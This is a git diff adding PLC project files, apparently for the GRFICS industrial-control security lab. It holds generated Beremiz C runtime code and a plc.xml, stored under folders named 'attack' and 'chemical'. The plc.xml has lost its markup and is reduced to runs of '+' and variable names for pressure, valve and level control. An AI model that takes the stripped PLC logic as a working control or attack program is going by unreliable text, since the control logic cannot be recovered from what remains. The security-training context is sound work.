(Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + 